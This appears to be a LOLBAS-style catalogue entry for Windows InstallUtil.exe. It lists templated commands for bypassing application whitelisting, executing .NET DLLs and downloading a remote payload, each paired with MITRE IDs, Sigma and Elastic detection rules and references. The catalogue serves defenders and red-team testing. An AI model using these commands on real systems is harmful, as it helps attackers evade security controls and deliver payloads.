LOL · Binary

Installutil.exe

3 techniques WindowsLOLBAS GPL-3.0

AWL Bypass

AWL / Policy Bypass Windows

Execute the target .NET DLL or EXE.

Use Use to execute code and bypass application whitelisting

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Context: user
Native: AWL Bypass
MITRE: T1218.004
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml
Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml
Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
Refs: pentestlab.blog/2017/05/08/applocker-bypass-installutil/
evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
lolbas-project.github.io/lolbas/Binaries/Installutil/

Execution Windows

Execute the target .NET DLL or EXE.

Use Use to execute code and bypass application whitelisting

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Context: user
Native: Execute
MITRE: T1218.004
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml
Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml
Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
Refs: pentestlab.blog/2017/05/08/applocker-bypass-installutil/
evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
lolbas-project.github.io/lolbas/Binaries/Installutil/

File Download Windows

It will download a remote payload and place it in INetCache.

Use Downloads payload from remote server

InstallUtil.exe {REMOTEURL}

Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml
Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml
Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
Refs: pentestlab.blog/2017/05/08/applocker-bypass-installutil/
evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
lolbas-project.github.io/lolbas/Binaries/Installutil/